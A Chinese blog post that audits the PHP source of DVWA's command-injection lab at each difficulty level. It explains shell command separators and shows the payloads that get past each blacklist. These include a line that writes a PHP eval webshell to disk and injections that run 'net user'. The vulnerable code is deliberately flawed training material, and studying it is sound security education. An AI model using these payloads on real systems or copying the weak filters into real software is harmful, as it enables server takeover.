代码审计——DVWA Command Injection(命令执行)

最新推荐文章于 2024-05-22 14:53:47 发布
最新推荐文章于 2024-05-22 14:53:47 发布
阅读量370 收藏
点赞数
分类专栏： 代码审计 文章标签： php shell 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/z1756227332/article/details/104675465
版权

关于命令连接符
command1 && command2
表示 command1执行成功后command2后执行,如果command1执行失败command2就不执行

command1 & command2
&表示command1 不管是否成功，都会执行command2

command1 || command2
||表示先执行command1,执行失败后，执行command2；如果command1 执行成功 command2就不执行成功

command1 | command2
| 表示将command1 的输出作为command2 的输入 值打印command2的执行结果

LOW等级代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

我们来逐步分析一下low等级的代码
$_REQUEST超全局变量支持两种方式发送过来的请求，即post和get它都可以接受。
target变量获取输入框的值

在这里插入图片描述
stristr()函数查找字符串中的第一次出现，并返回字符串的剩余部分；php_uname()函数返回运行 PHP 的系统类型；
我们输出一下php_uname(‘s’)的运行结果
在这里插入图片描述
if判断 如果是 Windows NT，Windows系统就执行ping 如果系统是Linux的就执行ping -c 4；
shell_exec()通过 shell 环境执行命令
在这里插入图片描述
这里的话没有什么过滤的东西就可以直接 进行命令执行注入,写入一句话直接写入一句话
127.0.0.1 | echo “<?php @eval($_GET[x]);?>” >> 3213.php
在这里插入图片描述

Medium等级代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];

	// Set blacklist
	$substitutions = array(
		'&&' => '',
		';'  => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

分析代码
target变量获取 接受数据
$substitutions是个关联数组; key => value 键值对的形式
在这里插入图片描述
这里设置了过滤，我们来分析一下。
在这里插入图片描述
str_replace()函数以其他字符替换字符串中的一些字符(区分大小写)，关于语法str_replace(find,replace,string,count)find必需填写规定要查找的值。replace必需填写规定替换 find 中的值的值。string必需填写规定被搜索的字符串
array_keys()函数返回包含数组中所有键名；
在这里插入图片描述
意思就是 如果传递的字符传中存在 &&或者； 就会替换为空；下面代码就和上面一样。
这里可以使用 ||、|、&来进行绕过。还有一个小技巧127.0.0.1 &;& net user
上面的规则会把 && 和 ; 替换为空 这样的话 &;& 就会变成这样 &;& => &&

在这里插入图片描述

Heig等级代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

判断规则的函数和上面介绍的都一样就是过滤的字符多了。我们仔细的观察这里过滤的是 【|空格】 并没有过滤【|】 和【空格|】。
在这里插入图片描述
这样的话就可以这样绕过
127.0.0.1空格|net user
在这里插入图片描述
127.0.0.1|net user
在这里插入图片描述

impossible等级代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

分析代码:
checkToken()和stripslashes()这两个函数不在过多介绍了一个是判断token的值和过滤SQL注入的。

在这里插入图片描述
exolode()函数把字符串打散为数组关于语法explode(separator,string,limit)separator必需填写规定在哪里分割字符串,string必需填写要分割的字符串,limit可选规定所返回的数组元素的数目。，我们来举个例子看一下
在这里插入图片描述
is_numeric()判断变量是不是int类型;sizeof()返回数组中元素的数目
在这里插入图片描述
if判断如果数组中的值是int类型并且数组中元素的数目=4 则条件成立执行命令。所以这里命令执行就凉掉了。

if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) )
霓虹灯啊
关注
专栏目录
PHP-dvwa-高难度代码审计
10-08
PHP-dvwa-高难度代码审计
dvwa靶场Command Execution全难度教程（附带代码分析）
m0_73248913的博客
01-23 804
建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场，省去搭建靶场的困扰，但是此靶机靶场较老，并不建议使用。这里的代码直接把我们输入的语句的符号过滤再进行数字的拆分，重新拼接成ip再来执行ping命令，没有我们操作的空间。注：此靶场是windows上搭建的会有显示问题，而且这个是过滤了'()'的是只能使用反弹shell进行的。此处选择自己喜欢的样式就行，记得全都要去试试，建议使用'&','|',';没有回显是正常情况，这个是直接执行，保存文件实在本机目录，直接访问写入的文件名就可以。
【渗透练习系列】DVWA的一次登录后通过Sqlmap拿到os-shell，命令执行写入一句话-01
书山上的云的博客
01-19 4443
一、前言 本次将通过DVWA靶机来展示怎样通过Sqlmap获取目标os-shell，得到命令执行权限，从而写入一句话木马，持续控制目标服务器。 二、测试 1.打开目标站点：http://192.200.30.126/DVWA/login.php，从网页后缀和wappalyzer浏览器插件来看，站点的编程语言为PHP。 2.输入账号跟密码登录后台，同时开启Burp抓取http包。 获取登录后的Cookie值: 3.找到存在SQL注入的模块。获取URL。 http://192.200.30.126/DVWA/v
Java代码审计---命令执行
最新发布
qq_45317844的博客
05-22 253
Class aClass = Class.forName("java.lang.Runtime"); Method exec = aClass.getDeclaredMethod("exec", String.class); Object getRuntime = aClass.getDeclaredMethod("getRuntime").invoke(aClass); Object invoke = exec.invoke(getRuntime,"calc")
JAVA代码审计命令执行基础
weixin_68408599的博客
05-16 761
学习JAVA代码审计，首先需要知道JAVA底层代码的逻辑，以下是相关命令执行的函数，我将以底层逻辑来进行演示。
第二阶段 PHP代码审计之命令执行
qq_22132931的博客
11-18 321
PHP代码审计之命令执行
DVWA源代码
10-16
《DVWA源代码详解——深度剖析Web安全漏洞与防护》 DVWA（Damn Vulnerable Web Application）是一款专门用于Web安全教育的开源应用，其全称为“极其易受攻击的Web应用”。DVWA的设计目的是为安全专业人员提供一个...
代码审计基础-漏洞银行大咖面对面2-SHIELD
07-31
### 代码审计基础知识点 #### 一、代码审计与PHP **代码审计**是一种系统性的检查软件源代码的过程，旨在识别潜在的安全问题、逻辑错误或不符合编程标准的代码。随着网络安全日益受到重视，代码审计成为了确保应用...
2020-12-01-DVWA.md
01-24
Command Injection（命令注入）是一种常见的安全漏洞，攻击者可以通过这种漏洞向应用程序发送恶意命令，进而执行非法操作。DVWA（Damn Vulnerable Web Application）是一款专为Web安全培训设计的应用程序，提供了...
代码审计命令执行专题
goddemon
09-10 229
一.命令执行漏洞 命令执行函数 system passthru exec shell_exec popen pron_open pcntl_exec dl xx 命令执行过滤函数 escapeshellcmd escapeshellarg 二.XML实体注入 PHP XML解析函数 simplexml_load_file simplexml_load_string SimpleXMLElement DOMDocument xml_parse 如 有输出的 直接搜索关键字进行审计就完事 $data =
代码审计之代码执行
qq_35420342的博客
03-20 610
代码执行审计和sql漏洞审计很相似，sql注入是想sql语句注入在数据库中，代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些：eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。代码执行注入就是 在...
PHP代码审计之命令执行
luyaran的博客
01-13 1152
PHP命令注入攻击漏洞是PHP应用程序常见漏洞之一。国内著名的PHP应用程序，如discuz!、dedecms等大型程序在网络中均被公布过存在命令注入攻击漏洞，黑客可以通过命令注入攻击漏洞快速获取网站权限，进而实施挂马、钓鱼等恶意攻击，造成的影响和危害十分巨大。同时，目前PHP语言应用于Web应用程序开发所占比例较大，Web应用程序员应该了解命令注入攻击漏洞的危害. PHP 执行系统命令可以
PHP代码审计基础：命令执行漏洞
1匹黑马
11-27 1636
文章目录命令执行挖掘思路命令执行与代码执行的区别命令执行的类型常见危险函数system()和passthru()exec()shell_exec()过滤函数escapeshellcmd()escapeshellarg()修复方案 命令执行 1、命令执行（Command Execution）漏洞即黑客可以直接在Web应用中执行系统命令，从而获取敏感信息或者拿下shell权限 2、命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足，导致恶意代码被执行 3、更常见的命令执行漏洞是发生在各种We
python 代码审计-命令执行漏洞（自己编写的代码）
weixin_33904756的博客
09-10 419
python 代码审计-命令执行漏洞（自己编写的代码） 0x00 源代码 def execute(request): context ={} ip= request.POST.get("ip") username= request.POST.get("username") password= request.POST.get("password") idn...
代码审计新手起步篇--DVWA
Kr的博客
12-15 1943
开始学习PHP代码审计，看网上大表哥推荐最好先审计一下DVWA，搞清楚这些漏洞的原理，然后再进行审计的深入学习和实战。   Brute Force 关于爆破我就只是简单说一下就可以了，感觉没啥好说的，而且他这个是没有验证码的，如果查询错误只会休眠一段时间 else { // Login failed sleep( 2 ); echo ...
生物信息学(BioInfo) - Linux 常用操作
QimaoRyan的博客
01-17 5757
Linux命令
代码审计——DVWA SQL Injection(SQL 注入)
z1756227332的博客
03-11 390
Low等级代码 <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $resu...
php代码审计【4】命令执行漏洞
司徒荆的博客
06-15 1139
php代码审计【4】命令执行漏洞
dvwa command injection
03-16
在 DVWA 中，command injection（命令注入）是一种常见的漏洞类型，攻击者可以通过向 Web 应用程序发送恶意输入来在服务器上执行任意命令。 下面是一些漏洞利用的基本步骤： 1. 打开 DVWA，并导航到“Command ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值